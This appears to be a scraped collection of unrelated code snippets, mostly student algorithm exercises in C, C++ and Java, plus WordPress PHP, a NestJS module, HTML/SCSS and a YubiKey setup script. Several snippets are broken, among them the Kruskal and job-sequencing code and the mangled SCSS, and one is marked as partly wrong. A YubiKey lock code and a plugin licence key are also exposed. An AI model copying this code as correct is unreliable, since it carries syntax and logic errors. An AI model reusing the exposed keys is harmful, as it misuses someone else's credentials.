Snippets Collections
#include <stdio.h>
#include <limits.h>

#define INF INT_MAX

// Function to find the value of k that minimizes the cost in c[i, j]
int Find(double c[][10], int r[][10], int i, int j) {
    int min = INF, k;
    for (int m = r[i][j-1]; m <= r[i+1][j]; m++) {
        int cost = c[i][m-1] + c[m][j];
        if (cost < min) {
            min = cost;
            k = m;
        }
    }
    return k;
}

// Function to compute the optimal binary search tree
void OBST(int n, double p[], double q[], double c[][10], int r[][10], double w[][10]) {
    // Initialize arrays
    for (int i = 0; i <= n; i++) {
        w[i][i] = q[i];
        r[i][i] = 0;
        c[i][i] = 0.0;
    }

    // For trees with 1 node
    for (int i = 0; i < n; i++) {
        w[i][i+1] = q[i] + q[i+1] + p[i+1];
        r[i][i+1] = i+1;
        c[i][i+1] = q[i] + q[i+1] + p[i+1];
    }

    // Calculate cost, root, and weight for larger trees
    for (int m = 2; m <= n; m++) {
        for (int i = 0; i <= n - m; i++) {
            int j = i + m;

            w[i][j] = w[i][j-1] + p[j] + q[j];
            
            // Find the optimal root for the tree [i, j]
            int k = Find(c, r, i, j);
            
            c[i][j] = w[i][j] + c[i][k-1] + c[k][j];
            r[i][j] = k;
        }
    }

    // Output the results for the optimal binary search tree
    printf("Optimal cost: %.2f\n", c[0][n]);
    printf("Optimal root: %d\n", r[0][n]);
    for (int i = 0; i <= n; i++) {
        for (int j = i; j <= n; j++) {
            printf("c[%d][%d] = %.2f, w[%d][%d] = %.2f, r[%d][%d] = %d\n", i, j, c[i][j], i, j, w[i][j], i, j, r[i][j]);
        }
    }
}

int main() {
    int n = 4;  // Number of identifiers (for example: do, if, int, while)
    double p[] = {0, 3, 3, 1, 1};  // Probabilities of searching for the identifiers
    double q[] = {0, 2, 3, 1, 1, 1};  // Probabilities of unsuccessful searches

    double c[10][10] = {0};  // Cost matrix
    int r[10][10] = {0};  // Root matrix
    double w[10][10] = {0};  // Weight matrix

    OBST(n, p, q, c, r, w);

    return 0;
}
********************
  OUPUT

Optimal cost: 32.00
Optimal root: 2
c[0][1] = 8.00, w[0][1] = 8.00, r[0][1] = 1
c[0][2] = 19.00, w[0][2] = 12.00, r[0][2] = 1
c[0][3] = 25.00, w[0][3] = 14.00, r[0][3] = 2
c[0][4] = 32.00, w[0][4] = 16.00, r[0][4] = 2
c[1][2] = 7.00, w[1][2] = 7.00, r[1][2] = 2
c[1][3] = 12.00, w[1][3] = 9.00, r[1][3] = 2
c[1][4] = 19.00, w[1][4] = 11.00, r[1][4] = 2
c[2][3] = 3.00, w[2][3] = 3.00, r[2][3] = 3
c[2][4] = 8.00, w[2][4] = 5.00, r[2][4] = 3
c[3][4] = 3.00, w[3][4] = 3.00, r[3][4] = 4
#include <stdio.h>
#include <limits.h>
#include <stdbool.h>

#define INF INT_MAX

int minDistance(int dist[], bool sptSet[], int n) {
    int min = INF, min_index;
    for (int v = 0; v < n; v++) {
        if (sptSet[v] == false && dist[v] <= min) {
            min = dist[v];
            min_index = v;
        }
    }
    return min_index;
}

void dijkstra(int graph[][5], int dist[], bool sptSet[], int n, int src) {
    for (int i = 0; i < n; i++) {
        dist[i] = INF;
        sptSet[i] = false;
    }
    dist[src] = 0;

    for (int count = 0; count < n - 1; count++) {
        int u = minDistance(dist, sptSet, n);
        sptSet[u] = true;

        for (int v = 0; v < n; v++) {
            if (!sptSet[v] && graph[u][v] && dist[u] != INF && dist[u] + graph[u][v] < dist[v]) {
                dist[v] = dist[u] + graph[u][v];
            }
        }
    }
}

void printSolution(int dist[], int n) {
    printf("Vertex   Distance from Source\n");
    for (int i = 0; i < n; i++) {
        printf("%d \t\t %d\n", i, dist[i]);
    }
}

int main() {
    int graph[5][5] = {
        {0, 10, 0, 0, 0},
        {0, 0, 5, 0, 0},
        {0, 0, 0, 15, 0},
        {0, 0, 0, 0, 20},
        {0, 0, 0, 0, 0}
    };

    int dist[5];
    bool sptSet[5];
    int n = 5;

    dijkstra(graph, dist, sptSet, n, 0);
    printSolution(dist, n);

    return 0;
}
<html>
<head>
<title>teste de extensão</title>
  <style>
  .paratexto {
    background-color: #000000;
    border-radius: 12px;
    font-size: 28px;
    }
  </style>
  <style>
  .textoamarelo {
    color: #FFFF00;
    }
  </style>
  <style>
  body {
    background-color: #00FFFF;
    }
  </style>
</head>
<body>
<center>
 <div class= "para texto">
  <h1 class= "textoamarelo">este é um teste!</h1>
  </div>
</center>
</body>
</html>
//THIS IS SOMEWHAT WRONG ONLY PARTIALLY CORRECT

#include <stdio.h>
#include <stdlib.h>

// Define the structure to hold item details (profit, weight, and ratio)
typedef struct {
    int profit;
    int weight;
    float ratio; // profit-to-weight ratio
} Item;

// Comparator function for sorting items by profit-to-weight ratio
int compare(const void *a, const void *b) {
    Item *item1 = (Item *)a;
    Item *item2 = (Item *)b;
    
    // Sort in decreasing order of ratio
    if (item1->ratio < item2->ratio) 
        return 1;
    else if (item1->ratio > item2->ratio) 
        return -1;
    return 0;
}

// Function to solve the fractional knapsack problem
float knapsack(int m, Item items[], int n) {
    // Sort the items in decreasing order of profit-to-weight ratio
    qsort(items, n, sizeof(Item), compare);

    float totalProfit = 0.0; // Total profit earned by including items in the knapsack
    int currentWeight = 0;   // Current weight in the knapsack

    for (int i = 0; i < n; i++) {
        if (currentWeight + items[i].weight <= m) {
            // If the item can be fully added to the knapsack
            currentWeight += items[i].weight;
            totalProfit += items[i].profit;
        } else {
            // Otherwise, take the fractional part of the item
            int remainingWeight = m - currentWeight;
            totalProfit += items[i].profit * ((float)remainingWeight / items[i].weight);
            break;  // Knapsack is full
        }
    }

    return totalProfit;
}

int main() {
    int n, m;

    // Input: number of items and knapsack capacity
    printf("Enter the number of items: ");
    scanf("%d", &n);
    printf("Enter the capacity of the knapsack: ");
    scanf("%d", &m);

    Item items[n];

    // Input: profit and weight of each item
    printf("Enter profit and weight for each item:\n");
    for (int i = 0; i < n; i++) {
        printf("Item %d - Profit: ", i + 1);
        scanf("%d", &items[i].profit);
        printf("Item %d - Weight: ", i + 1);
        scanf("%d", &items[i].weight);

        // Calculate the profit-to-weight ratio for each item
        items[i].ratio = (float)items[i].profit / items[i].weight;
    }

    // Calculate the maximum profit that can be earned
    float maxProfit = knapsack(m, items, n);
    printf("Maximum profit that can be earned: %.2f\n", maxProfit);

    return 0;
}
#include <stdio.h>
#include <stdlib.h>

typedef struct {
    int id;      
    int deadline;
    int profit;  
} Job;

int compare(const void* a, const void* b) {
    Job* job1 = (Job*)a;
    Job* job2 = (Job*)b;
    return job2->profit - job1->profit; 

int jobSequence(Job* jobs, int n) {
    qsort(jobs, n, sizeof(Job), compare);
    
    int* jobSequence = (int*)malloc(n * sizeof(int)); 
    int* slot = (int*)malloc(n * sizeof(int)); 
    for (int i = 0; i < n; i++) {
        slot[i] = 0;
    }
    int count = 0; 
    int totalProfit = 0;

    for (int i = 0; i < n; i++) {
        for (int j = jobs[i].deadline - 1; j >= 0; j--) {
            if (slot[j] == 0) {  
                slot[j] = 1;      
                jobSequence[j] = jobs[i].id; 
                totalProfit += jobs[i].profit; 
                count++; 
                break;   
            }
        }
    }
    printf("Scheduled jobs:\n");
    for (int i = 0; i < n; i++) {
        if (slot[i] == 1) {
            printf("Job ID: %d, Profit: %d\n", jobSequence[i], jobs[i].profit);
        }
    }
    printf("Total profit: %d\n", totalProfit);

    free(jobSequence);
    free(slot);
    return count; 
}

int main() {
    int n;
    printf("Enter the number of jobs: ");
    scanf("%d", &n);
    Job* jobs = (Job*)malloc(n * sizeof(Job));
    printf("Enter job ID, deadline, profit for each job:\n");
    for (int i = 0; i < n; i++) {
        scanf("%d %d %d", &jobs[i].id, &jobs[i].deadline, &jobs[i].profit);
    }
    jobSequence(jobs, n);
    free(jobs);
    return 0;
}
import java.util.*;
public class Articulation {
private int n;
private int[][] arr;
private int[] dfn;
private int[] low;
private int num;
private Set<Integer> s;
public Articulation(int n) {
this.n = n;
arr = new int[n][n];
dfn = new int[n];
low = new int[n];
num = 1;
s = new HashSet<>();
}
public void read(Scanner scan) {
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++)
arr[i][j] = scan.nextInt();
dfn[i] = 0;
}
}
public void art(int u, int v) {
dfn[u] = num;
low[u] = num;
num++;
int child = 0;
for (int j = 0; j < n; j++) {
if (arr[u][j] == 1 && dfn[j] == 0) {
if (v == -1)
child++;
art(j, u);
if (v != -1 && low[j] >= dfn[u])
s.add(u);
low[u] = Math.min(low[u], low[j]);
} else if (arr[u][j] == 1 && j != v)
low[u] = Math.min(low[u], dfn[j]);
}
if (v == -1 && child > 1)
s.add(u);
}
public void printVisited() {
System.out.println("articulation points" + s);
for (int i = 0; i < n; i++)
System.out.print(dfn[i] - 1 + " ");
System.out.println();
}
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
System.out.println("enter no of vertices");
int n = scan.nextInt();
Articulation art = new Articulation(n);
System.out.println("adjacent matrix");
art.read(scan);
art.art(0, -1);
System.out.println("vertices");
art.printVisited();
}
}

OUTPUT:
enter no of vertices
5
adjacent matrix
0 1 1 0 0
1 0 1 0 0
1 1 0 1 0
0 0 1 0 1
0 0 0 1 0
vertices
articulation points[2, 3]
0 1 2 3 4 
#include <iostream>
#include <vector>
using namespace std; 
 
int main() { 
    int n; 
    setlocale(LC_ALL, ""); 
    cout <<"Введите количество чисел: ";
    cin >> n;
	std::vector <int> arr(n);
 
    // Ввод чисел в массив 
    cout << "Введите " << n << " чисел:" << endl; 
    for (int i = 0; i < n; ++i) { 
        cin >> arr[i]; 
    } 
 
    // Поиск наибольшего числа  
    int max_value = arr[0];              
 
    for (int i = 1; i < n; ++i) { 
        if (arr[i] > max_value) { 
            max_value = arr[i]; 
        } 
    } 
 
    // Вывод результата 
    cout << "Наибольшее число: " << max_value<< endl; 
 
    return 0;
    
}
#include <iostream> 
using namespace std; 
 
int main() { 
    int n; 
    setlocale(LC_ALL, ""); 
    cout <<"Введите количество чисел: ";
    cin >> n;
    int *arr = new int[n];
 
    // Ввод чисел в массив 
    cout << "Введите " << n << " чисел:" << endl; 
    for (int i = 0; i < n; ++i) { 
        cin >> arr[i]; 
    } 
 
    // Поиск наибольшего числа
    int max_value = arr[0];              
 
    for (int i = 1; i < n; ++i) { 
        if (arr[i] > max_value) { 
            max_value = arr[i]; 
        } 
    } 
 
    // Вывод результата 
    cout << "Наибольшее число: " << max_value<< endl; 
 	delete[] arr;
    return 0;
    
}
#include <stdio.h>

void interchange(int a[], int i, int j) {
    int temp = a[i];
    a[i] = a[j];
    a[j] = temp;
}

int partition(int a[], int p, int q) {
    int v = a[p];
    int i = p, j = q + 1;
    
    do {
        do {
            i = i + 1;
        } while (a[i] < v && i <= q);
        
        do {
            j = j - 1;
        } while (a[j] > v && j >= p);
        
        if (i < j) {
            interchange(a, i, j);
        }
    } while (i < j);

    // Swap the pivot with the element at j
    interchange(a, p, j);
    
    return j;
}

void quickSort(int a[], int p, int q) {
    if (p < q) {
        int j = partition(a, p, q);
        quickSort(a, p, j - 1);
        quickSort(a, j + 1, q);
    }
}

int main() {
    int n;
    printf("Enter Size: ");
    scanf("%d", &n);
    
    int a[n];
    
    printf("Enter elements: \n");
    for (int i = 0; i < n; i++) {
        scanf("%d", &a[i]);
    }
    
    quickSort(a, 0, n - 1);
    
    printf("Sorted Array: ");
    for (int i = 0; i < n; i++) {
        printf("%d ", a[i]);
    }
    printf("\n");
    
    return 0;
}
#include <iostream> 
using namespace std; 
 
int main() { 
    int n; 
    setlocale(LC_ALL, ""); 
    cout << "Введите количество чисел (не более 20): "; 
    cin >> n; 
 
    if (n > 20 || n <= 0) { 
        cout << "Некорректное количество чисел. Программа завершена." << endl; 
        return 1; 
    } 
 
    int numbers[20]; 
    // Ввод чисел в массив 
    cout << "Введите " << n << " чисел:" << endl; 
    for (int i = 0; i < n; ++i) { 
        cin >> numbers[i]; 
    } 
 
    // Поиск наибольшего числа и его индекса 
    int max_value = numbers[0];              
 
    for (int i = 1; i < n; ++i) { 
        if (numbers[i] > max_value) { 
            max_value = numbers[i]; 
        } 
    } 
 
    // Вывод результата 
    cout << "Наибольшее число: " << max_value << endl; 
 
    return 0; 
#include <stdio.h>

void merge(int a[], int b[], int low, int mid, int high) {
    int h = low, j = mid + 1, i = low;
    
    while (h <= mid && j <= high) {
        if (a[h] <= a[j]) {
            b[i] = a[h];
            h += 1;
        } else {
            b[i] = a[j];
            j += 1;
        }
        i += 1;
    }
    if (h > mid) {
        for (int k = j; k <= high; k++) {
            b[i] = a[k];
            i += 1;
        }
    } else {
        
        for (int k = h; k <= mid; k++) {
            b[i] = a[k];
            i += 1;
        }
    }
    for (int k = low; k <= high; k++) {
        a[k] = b[k];
    }
}

void mergeSort(int a[], int b[], int low, int high) {
    if (low < high) {
        int mid = (low + high) / 2;
        mergeSort(a, b, low, mid); 
        mergeSort(a, b, mid + 1, high); 
        merge(a, b, low, mid, high); 
    }
}

int main() {
    int n;
    printf("Enter Size: ");
    scanf("%d", &n);

    int a[n], b[n];
    printf("Enter Elements: ");
    for (int i = 0; i < n; i++) {
        scanf("%d", &a[i]);
    }

    mergeSort(a, b, 0, n - 1);

    printf("Sorted Elements: ");
    for (int i = 0; i < n; i++) {
        printf("%d ", a[i]);
    }
    printf("\n");

    return 0;
}
class RenderUpdatesDraw(RenderClear):
    """call sprite.draw(screen) to render sprites"""
    def draw(self, surface):
        dirty = self.lostsprites
        self.lostsprites = []
        for s, r in self.spritedict.items():
            newrect = s.draw(screen) #Here's the big change
            if r is 0:
                dirty.append(newrect)
            else:
                dirty.append(newrect.union(r))
            self.spritedict[s] = newrect
        return dirty
sudo apt-get install pcscd gnome-screenshot yubikey-manager pamu2fcfg

#make config directory
mkdir -p ~/.config/Yubico

#use yubikey manager to unlock the device
ykman config set-lock-code --generate
#code = d4d2a245932d707c0d1558cb55a16a4d

#Enable Applications on USB
ykman config usb --enable-all

#Connect Security Key
pamu2fcfg > ~/.config/Yubico/u2f_keys

#
import { Module } from '@nestjs/common';
import { ConfigModule, ConfigService } from '@nestjs/config';
import { ScheduleModule } from '@nestjs/schedule';
import { AccountModule } from './module/account.module';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { OrderModule } from './module/order.module';
// Removed TypeOrmModule and Order entity
import { TypeOrmModule } from '@nestjs/typeorm';
import { CtraderAccountService } from './services/exchange/cTrader/account.service';
import { CtraderBotService } from './services/exchange/cTrader/bot.service';
import { CtraderEvaluationService } from './services/exchange/cTrader/evaluation.service';
import { CtraderOrderService } from './services/exchange/cTrader/order.service';
import { CtraderConnectionService } from './services/exchange/cTrader/connection.service';
import { EvaluationController } from './controllers/evaluation.controller';
import { BotController } from './controllers/bot.controller';
import { BullModule } from '@nestjs/bull';
import { activeBotQueue } from 'config/constant';
import { ExpressAdapter } from '@nestjs/platform-express';
import { CtraderAuthService } from './services/exchange/cTrader/auth.service';
import { AuthController } from './controllers/auth.controller';
import { SpotwareService } from './services/exchange/cTrader/spotware.account.service';
import { AccountController } from './controllers/account.controller';
import { OrderController } from './controllers/order.controller';
import { OrderPollingService } from './services/exchange/cTrader/order.polling.service';
import { EvaluationBotProcess } from './services/botProcess/evaluationBot.process';
import { IOrderPollingService } from './services/Interfaces/IOrderPollingService';
import { DailyEquityModule } from './module/dailyEquity.module';

@Module({
  imports: [ 
    // Load environment variables globally
    ConfigModule.forRoot({
      isGlobal: true,
      envFilePath: '.env', // Consolidated .env file path specification
    }),
    // Removed TypeORM configuration as it's no longer needed
    ScheduleModule.forRoot(),
    AccountModule,
    // BULLMQ
    BullModule.forRoot({
      redis: {
        host: 'localhost',
        port: 6379,
      },
    }),
    BullModule.registerQueue({
      name: activeBotQueue,
      defaultJobOptions: {
        attempts: 2,
      },
    }),
  ],
  controllers: [
    AppController, 
    EvaluationController, 
    BotController, 
    AuthController, 
    AccountController, 
    OrderController,
  ],
  providers: [
    AppService,
    {
      provide: 'IAccountInterface', 
      useClass: process.env.exchange === 'CTRADER' ? CtraderAccountService : CtraderAccountService,
    },
    {
      provide: 'IBotInterface',
      useClass: process.env.exchange === 'CTRADER' ? CtraderBotService : CtraderBotService,
    },
    {
      provide: 'IBotProcessInterface',
      useClass: process.env.botType === 'Evaluation' ? EvaluationBotProcess : EvaluationBotProcess,
    },
    {
      provide: 'IEvaluationInterface',
      useClass: process.env.exchange === 'CTRADER' ? CtraderEvaluationService : CtraderEvaluationService,
    },
    {
      provide: 'IOrderInterface',
      useClass: process.env.exchange === 'CTRADER' ? CtraderOrderService : CtraderOrderService,
    },
    {
      provide: 'IConnectionInterface',
      useClass: process.env.exchange === 'CTRADER' ? CtraderConnectionService : CtraderConnectionService,
    },
    {
      provide: 'IAuthInterface',
      useClass: process.env.exchange === 'CTRADER' ? CtraderAuthService : CtraderAuthService,
    },
    {
      provide: 'IOrderPollingService',  // Added IOrderPollingService provider
      useClass:process.env.exchange === 'CTRADER' ? OrderPollingService : OrderPollingService,
    },
    SpotwareService, 
    OrderPollingService, // Explicitly added OrderPollingService in providers
    ConfigService,
  ],
})
export class AppModule {}
if (LedgerJournalTrans.AccountType == LedgerJournalACType::Cust)
{
custAccount = DimensionStorage::ledgerDimension2AccountNum(LedgerJournalTrans.LedgerDimension);
}
DimensionAttributeValueCombination::getMainAccountFromLedgerDimension(generalJournalAccountEntry.LedgerDimension);
// Sample string that represents a combination of small, medium, and large code points.
// This sample string is valid UTF-16.
// 'hello' has code points that are each below 128.
// '⛳' is a single 16-bit code units.
// '❤️' is a two 16-bit code units, U+2764 and U+FE0F (a heart and a variant).
// '🧀' is a 32-bit code point (U+1F9C0), which can also be represented as the surrogate pair of two 16-bit code units '\ud83e\uddc0'.
const validUTF16String = 'hello⛳❤️🧀';

// This will not work. It will print:
// DOMException: Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.
try {
  const validUTF16StringEncoded = btoa(validUTF16String);
  console.log(`Encoded string: [${validUTF16StringEncoded}]`);
} catch (error) {
  console.log(error);
}
var docWidth = document.documentElement.offsetWidth;

[].forEach.call(
	document.querySelectorAll('*'),
	function (el) {
		if (el.offsetWidth > docWidth) {
			console.log(el);
		}
	}
);
#include<stdio.h>
int main(){
    // Author : Khadiza Sultana
    int n = 4;
    for(int i = 0; i < n; i++){
        for(int j = 0; j < (i + 1); j++)
        printf("* ");
        for(int j = 0; j < 2 * (n - i - 1); j++)
        printf("  ");
        for(int j = 0; j < (i + 1); j++)
        printf("* ");
        printf("\n");
    }
    for(int i = 0; i < n; i++){
        for(int j = n; j > i; j--)
        printf("* ");
        for(int j = 0; j < 2 * i; j++)
        printf("  ");
        for(int j = n; j > i; j--)
        printf("* ");
        printf("\n");
    }
    return 0;
}
ACF KEY
b3JkZXJfaWQ9Njg2MDJ8dHlwZT1wZXJzb25hbHxkYXRlPTIwMTUtMTEtMTEgMTM6MzU6NDk=
function enqueue_bootstrap_for_elementor() {
    // Bootstrap CSS
    wp_enqueue_style('bootstrap-css', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css');
    
    // Bootstrap JS (ensure jQuery is loaded as a dependency)
    wp_enqueue_script('bootstrap-js', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js', array('jquery'), null, true);
}

// Use Elementor hook to enqueue files only when Elementor is used
add_action('elementor/frontend/after_enqueue_scripts', 'enqueue_bootstrap_for_elementor');



//Services Post Type
add_action('init', 'services_post_type_init');
function services_post_type_init()
{

    $labels = array(

        'name' => __('Services', 'post type general name', ''),
        'singular_name' => __('Services', 'post type singular name', ''),
        'add_new' => __('Add New', 'Services', ''),
        'add_new_item' => __('Add New Services', ''),
        'edit_item' => __('Edit Services', ''),
        'new_item' => __('New Services', ''),
        'view_item' => __('View Services', ''),
        'search_items' => __('Search Services', ''),
        'not_found' =>  __('No Services found', ''),
        'not_found_in_trash' => __('No Services found in Trash', ''),
        'parent_item_colon' => ''
    );
    $args = array(
        'labels' => $labels,
        'public' => true,
        'publicly_queryable' => true,
        'show_ui' => true,
        'rewrite' => true,
        'query_var' => true,
        'menu_icon' => get_stylesheet_directory_uri() . '/images/testimonials.png',
        'capability_type' => 'post',
        'hierarchical' => true,
        'public' => true,
        'has_archive' => true,
        'show_in_nav_menus' => true,
        'menu_position' => null,
        'rewrite' => array(
            'slug' => 'services',
            'with_front' => true
        ),
        'supports' => array(
            'title',
            'editor',
            'thumbnail'
        )
    );

    register_post_type('services', $args);
}


// Add Shortcode [our_services];
add_shortcode('our_services', 'codex_our_services');
function codex_our_services()
{
    ob_start();
    wp_reset_postdata();
?>

 
        <div class="row ser-content">
            <?php
            $arg = array(
                'post_type' => 'services',
                'posts_per_page' => -1,
            );
            $po = new WP_Query($arg);
            ?>
            <?php if ($po->have_posts()) : ?>

                <?php while ($po->have_posts()) : ?>
                    <?php $po->the_post(); ?>
                    <div class="col-md-4">
                        <div class="ser-body">
                                <div class="thumbnail-blog">
                                    <?php echo get_the_post_thumbnail(get_the_ID(), 'full'); ?>
                                </div>
                                <div class="content">
                                    <h3 class="title"><?php the_title(); ?></h3>
                                  <div><?php echo wp_trim_words(get_the_content(), 15, '...'); ?></div>
                                </div>
                              <div class="readmore">
                                <a href="<?php echo get_permalink() ?>">Read More</a>
                            </div>
                        </div>
                    </div>
                <?php endwhile; ?>

            <?php endif; ?>
        </div>


<?php
    wp_reset_postdata();
    return '' . ob_get_clean();
}
function enqueue_bootstrap_for_elementor() {
    // Bootstrap CSS
    wp_enqueue_style('bootstrap-css', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css');
    
    // Bootstrap JS (ensure jQuery is loaded as a dependency)
    wp_enqueue_script('bootstrap-js', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js', array('jquery'), null, true);
}

// Use Elementor hook to enqueue files only when Elementor is used
add_action('elementor/frontend/after_enqueue_scripts', 'enqueue_bootstrap_for_elementor');
public class point{
    float x;
    float y;
    
    public point(float x,float y){
        this.x=x;
        this.y=y;
    }
    void afficher(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float a,float b){
        x=a;
        y=b;
    }
    float getAbscisse(){
        return this.x;
    }
    float getOrdonne(){
        return this.y;
    }
    public String toString(){
       String ch;
       ch="le point est "+ this.x +"\t"+this.y;
       return ch;
    }
    public Boolean equals(point po){
        return po!= null && po.equals(this.x) && po.equals(this.y);}
    public static void main (String []  args){
    point p=new point(19,4);
    p.afficher();
    System.out.println(p);
    p.deplacer(6,8);
    p.afficher();
    point p2=new point(6,8.0f);
    point p3=new point(4.0f, 2.0f);
    System.out.println("p est egal a p2:"+p.equals(p2));
    System.out.println("p est egal a p3:"+p.equals(p3));

   
            }
}
// HTML: make a parent div with a class of "wrap" and inside of it make 300 children div's with the class of "c"; best in chrome;

$total: 00; // total particles
3
$orb-size: 0px;

$particle-size: 2px;

$time: s; 

$base-hue: 0; // change for diff colors (10 is nice)

​
8
html, body {

  height: 100%;
10
}

​

body {

  background: black;
14
  overflow: hidden; // no scrollbars.. 

}

​

.wrap {

  position: relative;

  top: 50%;

  left: 50%;

  width: 0; 

  height: 0; 

  transform-style: preserve-3d;

  perspective: 1000px;
class compte{
    private double solde;
    public compte(float solde){
        this.solde=solde;
    }
    public double getSolde(){
        return solde;
    }
    void retirer(double ret){
        if(ret>solde){
        System.out.println("fonds insuffisants pour retirer"+ret+"d.");
        }else{
            solde-=ret;
            System.out.println("Retrait de"+ret+"deffectue.");
        }
    }
    void deposer(double dep){
        this.solde+=dep;
    }
    void transfer(compte c2,int nb){
        if(nb>solde){
        System.out.println("Fond insuffisants pour transfere"+nb+"d.");
        }else{
            retirer(nb);
            c2.deposer(nb);
        }
    }
    public static void  main (String[] args){
        compte c1=new compte(500);
        compte c2=new compte(0);
        c1.retirer(100);
        c1.deposer(200);
        c1.transfer(c2,300);
        System.out.println("compte 1="+c1.getSolde());
        System.out.println ("compte 2="+c2.getSolde());

    }
}
#include <stdio.h>

int main()
{
   int i, x;
   char str[100];

   printf("\nPlease enter a string:\t");
   gets(str);

   printf("\nPlease choose following options:\n");
   printf("1 = Encrypt the string.\n");
   printf("2 = Decrypt the string.\n");
   scanf("%d", &x);

   //using switch case statements
   switch(x)
   {
case 1:
      for(i = 0; (i < 100 && str[i] != '\0'); i++)
        str[i] = str[i] + 3; //the key for encryption is 3 that is added to ASCII value

      printf("\nEncrypted string: %s\n", str);
      break;

   case 2:
      for(i = 0; (i < 100 && str[i] != '\0'); i++)
        str[i] = str[i] - 3; //the key for encryption is 3 that is subtracted to ASCII value

      printf("\nDecrypted string: %s\n", str);
      break;

   default:
      printf("\nError\n");
   }
   return 0;
}
#include<stdio.h>
int dist[50][50],temp[50][50],n,i,j,k,x;
void dvr();
int main()
{
    printf("\nEnter the number of nodes : ");
    scanf("%d",&n);
    printf("\nEnter the distance matrix :\n");
    for(i=0;i<n;i++)
    {
        for(j=0;j<n;j++)
        {   
            scanf("%d",&dist[i][j]);
            dist[i][i]=0;
            temp[i][j]=j;
        }
        printf("\n");
	}
     dvr(); 
     printf("enter value of i &j:");
     scanf("%d",&i);
	 scanf("%d",&j);   
	 printf("enter the new cost");
	 scanf("%d",&x);   
	 dist[i][j]=x;
	 printf("After update\n\n");	 	  
     dvr();
	 return 0; 
}
void dvr()
{
	for (i = 0; i < n; i++)
            for (j = 0; j < n; j++)
            	for (k = 0; k < n; k++)
                	if (dist[i][k] + dist[k][j] < dist[i][j])
                	{
                    	dist[i][j] = dist[i][k] + dist[k][j];
                    	temp[i][j] = k;
               		}
               		
	for(i=0;i<n;i++)
        {
            printf("\n\nState value for router %d is \n",i+1);
            for(j=0;j<n;j++)
                printf("\t\nnode %d via %d Distance%d",j+1,temp[i][j]+1,dist[i][j]);
        }   
    printf("\n\n");

}
 
#include<stdio.h>
int p,q,u,v,n;
int min=99,mincost=0
int t[50][2],i,j;
int parent[50],edge[50][50];
main()
{
clrscr();
printf("\n Enter the number of nodes");
scanf("%d",&n);
for(i=0;i<n;i++)
{
printf("%c\t",65+i);
parent[i]=-1
}
printf("\n");
for(i=0;i<n;i++)
{
printf("%c",65+i);
for(j=0;j<n;j++)
scanf("%d",&edge[i][j]);
}
for(i=0;i<n;i++)
{
for(j=0;j<n;j++)
if(edge[i][j]!=99)
if(min>edge[i][j])
{

min=edge[i][j]
u=i;
v=j;
}
p=find(u);
q=find(v);
if(p!=q)
{
t[i][0]=u;
t[i][1]=v;
mincost=mincost+edge[u][v];
sunion(p,q);
}
else
t[i][0]=-1;
t[i][1]=-1;
}
min=99;
}
printf("Minimum cost is %d \n Minimum spanning tree is \n",mincost);
for(i=0;i<n;i++)
if(t[i][0]!=-1 && t[i][1]!=-1)
{
printf("%c %c %d",65+t[i][0],65+t[i][1],edge[t[i][0]] [t[i][1]])
  
printf("\n");
}
getch();
}
sunion(int I,int m)
{
parent[]=m;
}
find(int I)
{
if(parent[I]>0)
I=parent[I];
return I;
}
 #include <limits.h>
#include <stdbool.h>
#include <stdio.h>
#define V 9

int minDistance(int dist[], bool sptSet[])
{
    // Initialize min value
    int min = INT_MAX, min_index;

    for (int i = 0; i < V; i++)
        if (sptSet[i] == false && dist[i] <= min)
            min = dist[i], min_index = i;

    return min_index;
}
void printSolution(int dist[])
{
    printf("Vertex \t\t Distance from Source\n");
    for (int i = 0; i < V; i++)
        printf("%d \t\t\t\t %d\n", i, dist[i]);
}
void dijkstra(int graph[V][V], int src)
{
    int dist[V]; 

    bool sptSet[V]; 
    for (int i = 0; i < V; i++)
        dist[i] = INT_MAX, sptSet[i] = false;

    dist[src] = 0;
    for (int count = 0; count < V - 1; count++) {
        int u = minDistance(dist, sptSet);
        sptSet[u] = true;
        for (int v = 0; v < V; v++)
            if (!sptSet[v] && graph[u][v] && dist[u] != INT_MAX && dist[u] + graph[u][v] < dist[v])
                dist[v] = dist[u] + graph[u][v];
    }
    printSolution(dist);
}

int main()
{

    int graph[V][V] = { { 0, 4, 0, 0, 0, 0, 0, 8, 0 },
                        { 4, 0, 8, 0, 0, 0, 0, 11, 0 },
                        { 0, 8, 0, 7, 0, 4, 0, 0, 2 },
                        { 0, 0, 7, 0, 9, 14, 0, 0, 0 },
                        { 0, 0, 0, 9, 0, 10, 0, 0, 0 },
                        { 0, 0, 4, 14, 10, 0, 2, 0, 0 },
                        { 0, 0, 0, 0, 0, 2, 0, 1, 6 },
                        { 8, 11, 0, 0, 0, 0, 1, 0, 7 },
                        { 0, 0, 2, 0, 0, 0, 6, 7, 0 } };
    dijkstra(graph, 0);

    return 0;
}
#include<stdio.h>
int main()
{
	int windowsize,sent=0,ack,i;
	printf("enter window size\n");
	scanf("%d",&windowsize);
	while(1)
	{
		for( i = 0; i < windowsize; i++)
			{
				printf("Frame %d has been transmitted.\n",sent);
				sent++;
				if(sent == windowsize)
					break;
			}
			printf("\nPlease enter the last Acknowledgement received.\n");
			scanf("%d",&ack);
			
			if(ack == windowsize)
				break;
			else
				sent = ack;
	}
return 0;
}
#include <stdio.h>
#include <string.h>

#define MAX_LEN 28

char t[MAX_LEN], cs[MAX_LEN], g[MAX_LEN];// t(input array),cs(checksum),g(polynomial)
int a, e, c, b;

void xor() {
    for (c = 1; c < strlen(g); c++)
        cs[c] = ((cs[c] == g[c]) ? '0' : '1');
}

void crc() {
    for (e = 0; e < strlen(g); e++)
        cs[e] = t[e];
    
    do {
        if (cs[0] == '1') {
            xor();
        }
        
        for (c = 0; c < strlen(g) - 1; c++)
            cs[c] = cs[c + 1];
        
        cs[c] = t[e++];
    } while (e <= a + strlen(g) - 1);
}

int main() {
    int flag = 0;
    do {
        printf("\n1. CRC-12\n2. CRC-16\n3. CRC-CCITT\n4. Exit\n\nEnter your option: ");
        scanf("%d", &b);

        switch (b) {
            case 1: 
